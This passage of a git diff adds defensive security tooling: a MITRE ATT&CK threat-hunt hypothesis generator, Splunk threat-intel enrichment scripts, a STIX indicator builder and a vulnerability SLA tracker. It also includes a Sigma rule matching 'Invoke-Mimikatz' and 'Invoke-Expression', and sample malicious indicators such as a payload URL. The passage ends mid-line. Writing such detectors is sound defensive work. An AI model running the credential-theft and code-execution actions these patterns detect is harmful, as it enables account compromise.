2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/building-threat-hunt-hypothesis-framework/references/api-reference.md b/skills/building-threat-hunt-hypothesis-framework/references/api-reference.md new file mode 100644 index 00000000..8928db55 --- /dev/null +++ b/skills/building-threat-hunt-hypothesis-framework/references/api-reference.md @@ -0,0 +1,66 @@ +# API Reference: Threat Hunt Hypothesis Framework + +## Hypothesis Structure +| Field | Description | +|-------|------------| +| hypothesis_id | Unique identifier (HYP-XXXXXXXX) | +| technique_id | MITRE ATT&CK technique (e.g. T1059.001) | +| hypothesis_statement | Natural language hypothesis | +| data_sources | Required log sources | +| priority | high / medium / low | +| status | planned / in_progress / completed | + +## MITRE ATT&CK Data Sources +```bash +# Download ATT&CK STIX bundle +curl -O https://raw.githubusercontent.com/mitre/cti/master/enterprise-attack/enterprise-attack.json + +# Filter attack-pattern objects for technique data sources +python3 -c " +import json +bundle = json.load(open('enterprise-attack.json')) +for obj in bundle['objects']: + if obj.get('type') == 'attack-pattern' and not obj.get('x_mitre_deprecated'): + eid = obj['external_references'][0]['external_id'] + ds = [d['source_name'] for d in obj.get('x_mitre_data_sources', [])] + print(f'{eid}: {ds}') +" +``` + +## Hunt Maturity Model (HMM) +| Level | Name | Description | +|-------|------|------------| +| HM0 | Initial | Ad hoc, no documented procedures | +| HM1 | Minimal | Basic procedures, limited data sources | +| HM2 | Procedural | Documented hypotheses, repeatable hunts | +| HM3 | Innovative | Custom analytics, TI-driven hypotheses | +| HM4 | Leading | Automated, ML-assisted, continuous hunting | + +## Key Windows Event IDs for Hunting +| Event ID | Source | Use Case | +|----------|--------|----------| +| 4104 | PowerShell | Script block logging | +| 4688 | Security | Process creation | +| 4624/4625 | Security | Logon success/failure | +| 4698 | Security | Scheduled task created | +| 1 (Sysmon) | Sysmon | Process create with hashes | +| 3 (Sysmon) | Sysmon | Network connection | +| 10 (Sysmon) | Sysmon | Process access (LSASS) | +| 11 (Sysmon) | Sysmon | File create | + +## Sigma Rule Integration +```yaml +title: Suspicious PowerShell Execution +status: experimental +logsource: + product: windows + service: powershell +detection: + selection: + EventID: 4104 + ScriptBlockText|contains: + - 'Invoke-Mimikatz' + - 'Invoke-Expression' + condition: selection +level: high +``` diff --git a/skills/building-threat-hunt-hypothesis-framework/scripts/agent.py b/skills/building-threat-hunt-hypothesis-framework/scripts/agent.py new file mode 100644 index 00000000..0fbf2861 --- /dev/null +++ b/skills/building-threat-hunt-hypothesis-framework/scripts/agent.py @@ -0,0 +1,164 @@ +#!/usr/bin/env python3 +"""Threat hunt hypothesis framework builder. + +Generates structured threat hunting hypotheses from MITRE ATT&CK techniques, +maps data sources, defines detection logic, and tracks hunt outcomes. +""" + +import sys +import json +import datetime +import hashlib + +try: + import requests + HAS_REQUESTS = True +except ImportError: + HAS_REQUESTS = False + + +HUNT_MATURITY_LEVELS = { + 0: "Initial - ad hoc, no documentation", + 1: "Minimal - basic procedures, limited data", + 2: "Procedural - documented hypotheses, repeatable", + 3: "Innovative - custom analytics, threat intel driven", + 4: "Leading - automated, ML-assisted, continuous", +} + +DATA_SOURCE_MAP = { + "T1059.001": {"name": "PowerShell", "sources": ["Script Block Logging (4104)", "Module Logging (4103)", + "Process Creation (4688/Sysmon 1)"], "log_channel": "Microsoft-Windows-PowerShell/Operational"}, + "T1053.005": {"name": "Scheduled Task", "sources": ["Task Scheduler (4698/4702)", "Sysmon Event 1"], + "log_channel": "Microsoft-Windows-TaskScheduler/Operational"}, + "T1078": {"name": "Valid Accounts", "sources": ["Logon Events (4624/4625)", "Kerberos (4768/4769)"], + "log_channel": "Security"}, + "T1003.001": {"name": "LSASS Memory", "sources": ["Sysmon Event 10 (ProcessAccess)", "Windows Defender alerts"], + "log_channel": "Microsoft-Windows-Sysmon/Operational"}, + "T1071.001": {"name": "Web Protocols C2", "sources": ["Proxy logs", "DNS query logs", "Zeek http.log"], + "log_channel": "Proxy/DNS"}, + "T1486": {"name": "Data Encrypted for Impact", "sources": ["File creation burst (Sysmon 11)", + "Canary file triggers", "VSS deletion (Sysmon 1)"], "log_channel": "Sysmon"}, + "T1021.001": {"name": "Remote Desktop Protocol", "sources": ["Logon Type 10 (4624)", + "RDP connection (1149)"], "log_channel": "Security / TerminalServices-RemoteConnectionManager"}, +} + + +def generate_hypothesis(technique_id, threat_actor=None, environment=None): + """Generate a structured threat hunting hypothesis.""" + ds = DATA_SOURCE_MAP.get(technique_id, {}) + technique_name = ds.get("name", technique_id) + hyp_id = "HYP-" + hashlib.md5( + (technique_id + str(datetime.datetime.utcnow())).encode() + ).hexdigest()[:8].upper() + + hypothesis = { + "hypothesis_id": hyp_id, + "created": datetime.datetime.utcnow().isoformat() + "Z", + "technique_id": technique_id, + "technique_name": technique_name, + "hypothesis_statement": ( + "An adversary{} may be using {} ({}) within our environment{}. " + "Evidence of this activity can be found in {}.".format( + " (" + threat_actor + ")" if threat_actor else "", + technique_name, + technique_id, + " targeting " + environment if environment else "", + ", ".join(ds.get("sources", ["endpoint telemetry"])), + ) + ), + "data_sources": ds.get("sources", []), + "log_channel": ds.get("log_channel", "Unknown"), + "priority": "high" if technique_id in ["T1003.001", "T1486", "T1059.001"] else "medium", + "status": "planned", + } + return hypothesis + + +def build_hunt_plan(hypotheses, analyst="SOC Analyst"): + """Build a hunt plan from a list of hypotheses.""" + plan = { + "plan_id": "PLAN-" + datetime.datetime.utcnow().strftime("%Y%m%d"), + "created": datetime.datetime.utcnow().isoformat() + "Z", + "analyst": analyst, + "maturity_level": 2, + "maturity_description": HUNT_MATURITY_LEVELS[2], + "hypothesis_count": len(hypotheses), + "hypotheses": hypotheses, + "data_coverage": list(set( + src for h in hypotheses for src in h.get("data_sources", []) + )), + "estimated_hours": len(hypotheses) * 4, + } + return plan + + +def evaluate_hunt_results(hypothesis, findings_count, true_positives, false_positives): + """Evaluate hunt execution results and update hypothesis.""" + hypothesis["status"] = "completed" + hypothesis["results"] = { + "total_findings": findings_count, + "true_positives": true_positives, + "false_positives": false_positives, + "precision": round(true_positives / max(findings_count, 1), 3), + "outcome": "confirmed" if true_positives > 0 else "not_confirmed", + "recommendation": ( + "Create detection rule" if true_positives > 0 + else "Refine hypothesis and re-hunt with broader data" + ), + } + return hypothesis + + +def fetch_attack_techniques(): + """Fetch MITRE ATT&CK technique list.""" + if not HAS_REQUESTS: + return list(DATA_SOURCE_MAP.keys()) + try: + url = "https://raw.githubusercontent.com/mitre/cti/master/enterprise-attack/enterprise-attack.json" + resp = requests.get(url, timeout=30) + bundle = resp.json() + techniques = [ + obj["external_references"][0]["external_id"] + for obj in bundle.get("objects", []) + if obj.get("type") == "attack-pattern" + and obj.get("external_references") + and not obj.get("x_mitre_deprecated", False) + ] + return techniques[:50] + except Exception: + return list(DATA_SOURCE_MAP.keys()) + + +if __name__ == "__main__": + print("=" * 60) + print("Threat Hunt Hypothesis Framework") + print("Hypothesis generation, hunt planning, result tracking") + print("=" * 60) + + techniques = sys.argv[1:] if len(sys.argv) > 1 else ["T1059.001", "T1078", "T1003.001", "T1486"] + actor = "APT29" + + hypotheses = [] + for t in techniques: + h = generate_hypothesis(t, threat_actor=actor) + hypotheses.append(h) + + plan = build_hunt_plan(hypotheses) + print("\nHunt Plan: {} ({} hypotheses, ~{} hours)".format( + plan["plan_id"], plan["hypothesis_count"], plan["estimated_hours"])) + print("Maturity: {}".format(plan["maturity_description"])) + + print("\n--- Hypotheses ---") + for h in hypotheses: + print(" [{}] {} - {}".format(h["priority"].upper(), h["technique_id"], h["technique_name"])) + print(" {}".format(h["hypothesis_statement"][:120] + "...")) + print(" Sources: {}".format(", ".join(h["data_sources"][:3]))) + + evaluated = evaluate_hunt_results(hypotheses[0], findings_count=12, true_positives=3, false_positives=9) + print("\n--- Sample Result ---") + print(" {} precision: {} -> {}".format( + evaluated["technique_id"], + evaluated["results"]["precision"], + evaluated["results"]["recommendation"])) + + print("\n" + json.dumps({"hypotheses_generated": len(hypotheses)}, indent=2)) diff --git a/skills/building-threat-intelligence-enrichment-in-splunk/LICENSE b/skills/building-threat-intelligence-enrichment-in-splunk/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/building-threat-intelligence-enrichment-in-splunk/LICENSE +++ b/skills/building-threat-intelligence-enrichment-in-splunk/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/building-threat-intelligence-enrichment-in-splunk/references/api-reference.md b/skills/building-threat-intelligence-enrichment-in-splunk/references/api-reference.md new file mode 100644 index 00000000..0eb8a4e8 --- /dev/null +++ b/skills/building-threat-intelligence-enrichment-in-splunk/references/api-reference.md @@ -0,0 +1,66 @@ +# API Reference: Threat Intelligence Enrichment in Splunk + +## Splunk KV Store REST API +```bash +# Create collection +curl -k -u admin:pass -X POST \ + "https://localhost:8089/servicesNS/nobody/SA-ThreatIntelligence/storage/collections/config" \ + -d name=ip_intel + +# Insert record +curl -k -u admin:pass -X POST \ + "https://localhost:8089/servicesNS/nobody/SA-ThreatIntelligence/storage/collections/data/ip_intel" \ + -H "Content-Type: application/json" \ + -d '{"ip":"198.51.100.42","threat_key":"c2_server","weight":"3"}' + +# Batch insert +curl -k -u admin:pass -X POST \ + "https://localhost:8089/servicesNS/nobody/SA-ThreatIntelligence/storage/collections/data/ip_intel/batch_save" \ + -H "Content-Type: application/json" \ + -d '[{"ip":"1.2.3.4","threat_key":"malware"},{"ip":"5.6.7.8","threat_key":"c2"}]' +``` + +## Splunk Enterprise Security TI Framework +| Collection | Lookup | Data Model | +|-----------|--------|------------| +| ip_intel | ip_intel_lookup | Network_Traffic | +| domain_intel | domain_intel_lookup | Network_Resolution | +| file_intel | file_intel_lookup | Endpoint | +| email_intel | email_intel_lookup | Email | +| http_intel | http_intel_lookup | Web | + +## SPL Threat Matching +```spl +| tstats summariesonly=t count from datamodel=Network_Traffic + by All_Traffic.dest_ip +| rename All_Traffic.dest_ip as ip +| lookup ip_intel_lookup ip OUTPUT threat_key description +| where isnotnull(threat_key) +``` + +## AlienVault OTX API +```bash +# Get pulse indicators +curl "https://otx.alienvault.com/api/v1/pulses/PULSE_ID/indicators" + +# Search pulses +curl -H "X-OTX-API-KEY: $OTX_KEY" \ + "https://otx.alienvault.com/api/v1/search/pulses?q=ransomware&page=1" +``` + +## Splunk Python SDK +```python +import splunklib.client as client + +service = client.connect( + host="localhost", port=8089, + username="admin", password="changeme" +) + +# Access KV store collection +collection = service.kvstore["ip_intel"] +collection.data.insert(json.dumps({ + "ip": "198.51.100.42", + "threat_key": "c2_server" +})) +``` diff --git a/skills/building-threat-intelligence-enrichment-in-splunk/scripts/agent.py b/skills/building-threat-intelligence-enrichment-in-splunk/scripts/agent.py new file mode 100644 index 00000000..f9da6f02 --- /dev/null +++ b/skills/building-threat-intelligence-enrichment-in-splunk/scripts/agent.py @@ -0,0 +1,172 @@ +#!/usr/bin/env python3 +"""Threat intelligence enrichment pipeline for Splunk. + +Manages threat intel lookups, KV store collections, and modular inputs +for enriching Splunk events with IOC context from MISP, OTX, and CSV feeds. +""" + +import sys +import json +import csv +import os +import datetime +import io + +try: + import requests + HAS_REQUESTS = True +except ImportError: + HAS_REQUESTS = False + + +SPLUNK_TI_COLLECTIONS = { + "ip_intel": { + "fields": ["ip", "threat_key", "description", "source", "weight", "time"], + "lookup_name": "ip_intel_lookup", + }, + "domain_intel": { + "fields": ["domain", "threat_key", "description", "source", "weight", "time"], + "lookup_name": "domain_intel_lookup", + }, + "file_intel": { + "fields": ["file_hash", "file_name", "threat_key", "description", "source", "weight", "time"], + "lookup_name": "file_intel_lookup", + }, + "email_intel": { + "fields": ["src_user", "threat_key", "description", "source", "weight", "time"], + "lookup_name": "email_intel_lookup", + }, +} + + +def fetch_otx_pulse_iocs(pulse_id): + """Fetch IOCs from AlienVault OTX pulse.""" + if not HAS_REQUESTS: + return {"error": "requests not installed"} + url = "https://otx.alienvault.com/api/v1/pulses/{}/indicators".format(pulse_id) + try: + resp = requests.get(url, timeout=15) + if resp.status_code == 200: + data = resp.json() + iocs = [] + for ind in data.get("results", []): + iocs.append({ + "type": ind.get("type", ""), + "indicator": ind.get("indicator", ""), + "title": ind.get("title", ""), + "created": ind.get("created", ""), + }) + return {"pulse_id": pulse_id, "count": len(iocs), "indicators": iocs} + return {"error": "HTTP {}".format(resp.status_code)} + except Exception as e: + return {"error": str(e)} + + +def convert_iocs_to_splunk_lookup(iocs, collection_type="ip_intel"): + """Convert IOC list to Splunk KV store format.""" + collection = SPLUNK_TI_COLLECTIONS.get(collection_type, SPLUNK_TI_COLLECTIONS["ip_intel"]) + rows = [] + now = datetime.datetime.utcnow().isoformat() + "Z" + for ioc in iocs: + if collection_type == "ip_intel" and ioc.get("type") in ("IPv4", "IPv6"): + rows.append({ + "ip": ioc["indicator"], + "threat_key": ioc.get("title", "malicious_ip"), + "description": "OTX: " + ioc.get("title", ""), + "source": "otx", + "weight": "3", + "time": now, + }) + elif collection_type == "domain_intel" and ioc.get("type") in ("domain", "hostname"): + rows.append({ + "domain": ioc["indicator"], + "threat_key": ioc.get("title", "malicious_domain"), + "description": "OTX: " + ioc.get("title", ""), + "source": "otx", + "weight": "3", + "time": now, + }) + elif collection_type == "file_intel" and ioc.get("type") in ("FileHash-SHA256", "FileHash-MD5"): + rows.append({ + "file_hash": ioc["indicator"], + "file_name": "", + "threat_key": ioc.get("title", "malicious_file"), + "description": "OTX: " + ioc.get("title", ""), + "source": "otx", + "weight": "3", + "time": now, + }) + return {"collection": collection_type, "lookup_name": collection["lookup_name"], "row_count": len(rows), "rows": rows} + + +def generate_splunk_lookup_csv(rows, output_path=None): + """Generate CSV file for Splunk lookup table.""" + if not rows: + return "" + output = io.StringIO() + writer = csv.DictWriter(output, fieldnames=rows[0].keys()) + writer.writeheader() + writer.writerows(rows) + csv_content = output.getvalue() + if output_path: + with open(output_path, "w", encoding="utf-8") as f: + f.write(csv_content) + return csv_content + + +def build_spl_correlation_search(collection_type="ip_intel"): + """Build SPL query for threat intelligence correlation.""" + queries = { + "ip_intel": ( + '| tstats summariesonly=t count from datamodel=Network_Traffic ' + 'by All_Traffic.dest_ip ' + '| rename All_Traffic.dest_ip as ip ' + '| lookup ip_intel_lookup ip OUTPUT threat_key description source ' + '| where isnotnull(threat_key) ' + '| table ip threat_key description source count' + ), + "domain_intel": ( + '| tstats summariesonly=t count from datamodel=Network_Resolution ' + 'by DNS.query ' + '| rename DNS.query as domain ' + '| lookup domain_intel_lookup domain OUTPUT threat_key description source ' + '| where isnotnull(threat_key) ' + '| table domain threat_key description source count' + ), + "file_intel": ( + 'index=endpoint sourcetype=sysmon EventCode=1 ' + '| lookup file_intel_lookup file_hash as Hashes OUTPUT threat_key description ' + '| where isnotnull(threat_key) ' + '| table _time Computer Image Hashes threat_key description' + ), + } + return queries.get(collection_type, "| makeresults | eval error=\"Unknown collection\"") + + +if __name__ == "__main__": + print("=" * 60) + print("Threat Intelligence Enrichment in Splunk") + print("KV store collections, lookup tables, SPL correlation") + print("=" * 60) + print(" requests available: {}".format(HAS_REQUESTS)) + + print("\n--- Splunk TI Collections ---") + for name, info in SPLUNK_TI_COLLECTIONS.items(): + print(" {}: lookup={}, fields={}".format(name, info["lookup_name"], len(info["fields"]))) + + print("\n--- SPL Correlation Queries ---") + for ctype in ["ip_intel", "domain_intel", "file_intel"]: + spl = build_spl_correlation_search(ctype) + print(" [{}] {}...".format(ctype, spl[:80])) + + demo_iocs = [ + {"type": "IPv4", "indicator": "198.51.100.42", "title": "C2 Server"}, + {"type": "domain", "indicator": "evil.example.com", "title": "Phishing Domain"}, + {"type": "FileHash-SHA256", "indicator": "a" * 64, "title": "Malware Sample"}, + ] + for ctype in ["ip_intel", "domain_intel", "file_intel"]: + result = convert_iocs_to_splunk_lookup(demo_iocs, ctype) + if result["row_count"] > 0: + print("\n Converted {} IOCs to {} format".format(result["row_count"], ctype)) + + print("\n" + json.dumps({"collections_configured": len(SPLUNK_TI_COLLECTIONS)}, indent=2)) diff --git a/skills/building-threat-intelligence-feed-integration/LICENSE b/skills/building-threat-intelligence-feed-integration/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/building-threat-intelligence-feed-integration/LICENSE +++ b/skills/building-threat-intelligence-feed-integration/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/building-threat-intelligence-platform/LICENSE b/skills/building-threat-intelligence-platform/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/building-threat-intelligence-platform/LICENSE +++ b/skills/building-threat-intelligence-platform/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/building-threat-intelligence-platform/references/api-reference.md b/skills/building-threat-intelligence-platform/references/api-reference.md new file mode 100644 index 00000000..870257d4 --- /dev/null +++ b/skills/building-threat-intelligence-platform/references/api-reference.md @@ -0,0 +1,68 @@ +# API Reference: Threat Intelligence Platform + +## STIX 2.1 Indicator Object +```json +{ + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--", + "created": "2025-01-15T10:00:00.000Z", + "modified": "2025-01-15T10:00:00.000Z", + "name": "Malicious IP", + "pattern": "[ipv4-addr:value = '198.51.100.42']", + "pattern_type": "stix", + "valid_from": "2025-01-15T10:00:00.000Z", + "confidence": 85, + "object_marking_refs": ["marking-definition--f88d31f6-486f-44da-b317-01333bde0b82"] +} +``` + +## TLP Marking Definition IDs (STIX 2.1) +| TLP Level | STIX Marking Definition ID | +|-----------|---------------------------| +| TLP:CLEAR | marking-definition--613f2e26-407d-48c7-9eca-b8e91df99dc9 | +| TLP:GREEN | marking-definition--34098fce-860f-48ae-8e50-ebd3cc5e41da | +| TLP:AMBER | marking-definition--f88d31f6-486f-44da-b317-01333bde0b82 | +| TLP:AMBER+STRICT | marking-definition--826578e1-40a3-4b46-a8d8-b9931fdd750e | +| TLP:RED | marking-definition--5e57c739-391a-4eb3-b6be-7d15ca92d5ed | + +## TAXII 2.1 Endpoints +```bash +# Discovery +curl https://taxii.server.com/taxii2/ + +# Collections +curl https://taxii.server.com/taxii2/collections/ + +# Get objects from collection +curl "https://taxii.server.com/taxii2/collections/{id}/objects?type=indicator" + +# Add objects +curl -X POST "https://taxii.server.com/taxii2/collections/{id}/objects" \ + -H "Content-Type: application/stix+json;version=2.1" \ + -d @bundle.json +``` + +## OpenCTI GraphQL API +```graphql +mutation { + indicatorAdd(input: { + name: "Malicious IP" + pattern: "[ipv4-addr:value = '198.51.100.42']" + pattern_type: "stix" + x_opencti_score: 80 + }) { + id + standard_id + } +} +``` + +## MISP REST API +```bash +# Add attribute +curl -X POST "https://misp/attributes/add/EVENT_ID" \ + -H "Authorization: MISP_KEY" \ + -H "Content-Type: application/json" \ + -d '{"type":"ip-dst","value":"198.51.100.42","category":"Network activity","to_ids":true}' +``` diff --git a/skills/building-threat-intelligence-platform/scripts/agent.py b/skills/building-threat-intelligence-platform/scripts/agent.py new file mode 100644 index 00000000..836b9ad2 --- /dev/null +++ b/skills/building-threat-intelligence-platform/scripts/agent.py @@ -0,0 +1,165 @@ +#!/usr/bin/env python3 +"""Threat intelligence platform builder. + +Core TIP components: STIX/TAXII ingestion, indicator lifecycle management, +confidence scoring, sharing groups, and intelligence dissemination. +""" + +import sys +import json +import datetime +import hashlib +import re +import uuid + + +STIX_INDICATOR_TYPES = { + "ipv4-addr": "[ipv4-addr:value = '{}']", + "domain-name": "[domain-name:value = '{}']", + "url": "[url:value = '{}']", + "file-sha256": "[file:hashes.'SHA-256' = '{}']", + "file-md5": "[file:hashes.MD5 = '{}']", + "email-addr": "[email-addr:value = '{}']", +} + +TLP_DEFINITIONS = { + "TLP:CLEAR": {"color": "white", "sharing": "Unlimited", "code": 0}, + "TLP:GREEN": {"color": "green", "sharing": "Community", "code": 1}, + "TLP:AMBER": {"color": "amber", "sharing": "Organization", "code": 2}, + "TLP:AMBER+STRICT": {"color": "amber", "sharing": "Need-to-know only", "code": 3}, + "TLP:RED": {"color": "red", "sharing": "Named recipients only", "code": 4}, +} + + +def classify_indicator(value): + """Classify indicator type from raw value.""" + if re.match(r"^[0-9]{1,3}(\\.[0-9]{1,3}){3}$", value): + return "ipv4-addr" + if re.match(r"^[a-fA-F0-9]{64}$", value): + return "file-sha256" + if re.match(r"^[a-fA-F0-9]{32}$", value): + return "file-md5" + if re.match(r"^[a-zA-Z0-9][a-zA-Z0-9.-]+\\.[a-zA-Z]{2,}$", value): + return "domain-name" + if value.startswith("http://") or value.startswith("https://"): + return "url" + if "@" in value: + return "email-addr" + return "unknown" + + +def create_stix_indicator(value, indicator_type=None, confidence=50, tlp="TLP:AMBER"): + """Create a STIX 2.1 Indicator object.""" + if not indicator_type: + indicator_type = classify_indicator(value) + pattern_template = STIX_INDICATOR_TYPES.get(indicator_type) + if not pattern_template: + return {"error": "Unsupported indicator type: " + indicator_type} + + now = datetime.datetime.utcnow().isoformat(timespec="milliseconds") + "Z" + indicator_id = "indicator--" + str(uuid.uuid5(uuid.NAMESPACE_URL, value)) + + indicator = { + "type": "indicator", + "spec_version": "2.1", + "id": indicator_id, + "created": now, + "modified": now, + "name": "{}: {}".format(indicator_type, value), + "pattern": pattern_template.format(value), + "pattern_type": "stix", + "valid_from": now, + "confidence": confidence, + "labels": ["malicious-activity"], + "object_marking_refs": [tlp_to_marking_ref(tlp)], + } + return indicator + + +def tlp_to_marking_ref(tlp): + """Convert TLP label to STIX marking definition ID.""" + tlp_refs = { + "TLP:CLEAR": "marking-definition--613f2e26-407d-48c7-9eca-b8e91df99dc9", + "TLP:GREEN": "marking-definition--34098fce-860f-48ae-8e50-ebd3cc5e41da", + "TLP:AMBER": "marking-definition--f88d31f6-486f-44da-b317-01333bde0b82", + "TLP:AMBER+STRICT": "marking-definition--826578e1-40a3-4b46-a8d8-b9931fdd750e", + "TLP:RED": "marking-definition--5e57c739-391a-4eb3-b6be-7d15ca92d5ed", + } + return tlp_refs.get(tlp, tlp_refs["TLP:AMBER"]) + + +def calculate_indicator_score(sources_count, age_days, confirmed_sightings, false_positives): + """Calculate indicator confidence score (0-100).""" + source_score = min(sources_count * 15, 40) + age_penalty = min(age_days * 0.5, 30) + sighting_score = min(confirmed_sightings * 10, 30) + fp_penalty = min(false_positives * 15, 30) + score = source_score - age_penalty + sighting_score - fp_penalty + return max(0, min(100, round(score))) + + +def build_stix_bundle(indicators): + """Build STIX 2.1 Bundle from list of indicators.""" + bundle = { + "type": "bundle", + "id": "bundle--" + str(uuid.uuid4()), + "objects": indicators, + } + return bundle + + +def generate_tip_report(indicators, platform_name="Internal TIP"): + """Generate TIP status report.""" + type_counts = {} + for ind in indicators: + itype = ind.get("name", "").split(":")[0] if ":" in ind.get("name", "") else "unknown" + type_counts[itype] = type_counts.get(itype, 0) + 1 + + return { + "platform": platform_name, + "generated_at": datetime.datetime.utcnow().isoformat() + "Z", + "total_indicators": len(indicators), + "type_breakdown": type_counts, + "avg_confidence": round( + sum(i.get("confidence", 0) for i in indicators) / max(len(indicators), 1), 1 + ), + } + + +if __name__ == "__main__": + print("=" * 60) + print("Threat Intelligence Platform Builder") + print("STIX 2.1 indicators, scoring, TLP marking, bundle export") + print("=" * 60) + + demo_values = [ + "198.51.100.42", + "evil-domain.example.com", + "a" * 64, + "https://evil.example.com/payload.exe", + "attacker@evil.example.com", + ] + + indicators = [] + for val in demo_values: + ind = create_stix_indicator(val, confidence=75, tlp="TLP:AMBER") + if "error" not in ind: + indicators.append(ind) + + print("\n--- Indicators Created ---") + for ind in indicators: + print(" {} [confidence={}]".format(ind["name"], ind["confidence"])) + print(" Pattern: {}".format(ind["pattern"])) + + bundle = build_stix_bundle(indicators) + print("\nSTIX Bundle: {} ({} objects)".format(bundle["id"], len(bundle["objects"]))) + + score = calculate_indicator_score(sources_count=3, age_days=5, confirmed_sightings=2, false_positives=0) + print("\nSample score calculation: {}".format(score)) + + report = generate_tip_report(indicators) + print("\n--- Platform Report ---") + for k, v in report.items(): + print(" {}: {}".format(k, v)) + + print("\n" + json.dumps({"indicators_created": len(indicators)}, indent=2)) diff --git a/skills/building-vulnerability-aging-and-sla-tracking/LICENSE b/skills/building-vulnerability-aging-and-sla-tracking/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/building-vulnerability-aging-and-sla-tracking/LICENSE +++ b/skills/building-vulnerability-aging-and-sla-tracking/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/building-vulnerability-aging-and-sla-tracking/references/api-reference.md b/skills/building-vulnerability-aging-and-sla-tracking/references/api-reference.md new file mode 100644 index 00000000..bac4d96f --- /dev/null +++ b/skills/building-vulnerability-aging-and-sla-tracking/references/api-reference.md @@ -0,0 +1,48 @@ +# API Reference: Vulnerability Aging and SLA Tracking + +## SLA Definitions +| Severity | Remediation SLA | Patch SLA | Exception Max | +|----------|----------------|-----------|---------------| +| Critical | 7 days | 15 days | 30 days | +| High | 30 days | 45 days | 90 days | +| Medium | 90 days | 120 days | 180 days | +| Low | 180 days | 365 days | 365 days | + +## Aging Buckets +| Bucket | Range | +|--------|-------| +| New | 0-7 days | +| Recent | 8-30 days | +| Aging | 31-60 days | +| Old | 61-90 days | +| Stale | 91-180 days | +| Ancient | 181-365 days | +| Critical Overdue | 365+ days | + +## Nessus API (Tenable.io) +```bash +# List vulnerabilities +curl -H "X-ApiKeys: accessKey=$ACCESS;secretKey=$SECRET" \ + "https://cloud.tenable.com/workbenches/vulnerabilities" + +# Export vulns +curl -X POST -H "X-ApiKeys: accessKey=$ACCESS;secretKey=$SECRET" \ + "https://cloud.tenable.com/vulns/export" \ + -d '{"filters":{"severity":["critical","high"]}}' +``` + +## Qualys API +```bash +# Vulnerability list +curl -u "user:pass" -X POST \ + "https://qualysapi.qualys.com/api/2.0/fo/knowledge_base/vuln/" \ + -d "action=list&details=All&published_after=2024-01-01" +``` + +## Key Metrics +| Metric | Description | +|--------|------------| +| MTTR | Mean Time to Remediate | +| SLA Compliance % | Vulns resolved within SLA / Total | +| Overdue Count | Vulns past SLA deadline | +| Risk Score | CVSS * age_factor * asset_criticality | diff --git a/skills/building-vulnerability-aging-and-sla-tracking/scripts/agent.py b/skills/building-vulnerability-aging-and-sla-tracking/scripts/agent.py new file mode 100644 index 00000000..8f994cf6 --- /dev/null +++ b/skills/building-vulnerability-aging-and-sla-tracking/scripts/agent.py @@ -0,0 +1,191 @@ +#!/usr/bin/env python3 +"""Vulnerability aging and SLA tracking agent. + +Tracks vulnerability remediation timelines, calculates SLA compliance, +generates aging reports, and identifies overdue items by severity. +""" + +import sys +import json +import datetime +import collections + + +SLA_DEFINITIONS = { + "critical": {"remediation_days": 7, "patch_days": 15, "exception_max_days": 30}, + "high": {"remediation_days": 30, "patch_days": 45, "exception_max_days": 90}, + "medium": {"remediation_days": 90, "patch_days": 120, "exception_max_days": 180}, + "low": {"remediation_days": 180, "patch_days": 365, "exception_max_days": 365}, +} + +AGING_BUCKETS = [ + (0, 7, "0-7 days"), + (8, 30, "8-30 days"), + (31, 60, "31-60 days"), + (61, 90, "61-90 days"), + (91, 180, "91-180 days"), + (181, 365, "181-365 days"), + (366, 99999, "365+ days"), +] + + +def calculate_age(discovery_date_str): + """Calculate vulnerability age in days from discovery date.""" + try: + disc = datetime.datetime.fromisoformat(discovery_date_str.replace("Z", "+00:00")) + now = datetime.datetime.now(datetime.timezone.utc) + return (now - disc).days + except (ValueError, AttributeError): + return 0 + + +def check_sla_compliance(vuln): + """Check if a vulnerability is within SLA.""" + severity = vuln.get("severity", "medium").lower() + sla = SLA_DEFINITIONS.get(severity, SLA_DEFINITIONS["medium"]) + age = calculate_age(vuln.get("discovery_date", "")) + status = vuln.get("status", "open") + + result = { + "vuln_id": vuln.get("id", ""), + "severity": severity, + "age_days": age, + "sla_days": sla["remediation_days"], + "days_remaining": sla["remediation_days"] - age, + "sla_status": "within_sla", + } + + if status in ("remediated", "closed"): + result["sla_status"] = "resolved" + elif status == "exception": + if age > sla["exception_max_days"]: + result["sla_status"] = "exception_expired" + else: + result["sla_status"] = "exception_active" + elif age > sla["remediation_days"]: + result["sla_status"] = "overdue" + elif age > sla["remediation_days"] * 0.8: + result["sla_status"] = "at_risk" + + return result + + +def build_aging_report(vulns): + """Build vulnerability aging distribution report.""" + buckets = {label: {"total": 0, "critical": 0, "high": 0, "medium": 0, "low": 0} + for _, _, label in AGING_BUCKETS} + + for vuln in vulns: + if vuln.get("status") in ("remediated", "closed"): + continue + age = calculate_age(vuln.get("discovery_date", "")) + severity = vuln.get("severity", "medium").lower() + for low, high, label in AGING_BUCKETS: + if low <= age <= high: + buckets[label]["total"] += 1 + if severity in buckets[label]: + buckets[label][severity] += 1 + break + + return {"aging_distribution": buckets, "generated_at": datetime.datetime.utcnow().isoformat() + "Z"} + + +def calculate_mttr(vulns): + """Calculate Mean Time to Remediate by severity.""" + remediation_times = collections.defaultdict(list) + for vuln in vulns: + if vuln.get("status") in ("remediated", "closed") and vuln.get("remediation_date"): + try: + disc = datetime.datetime.fromisoformat(vuln["discovery_date"].replace("Z", "+00:00")) + rem = 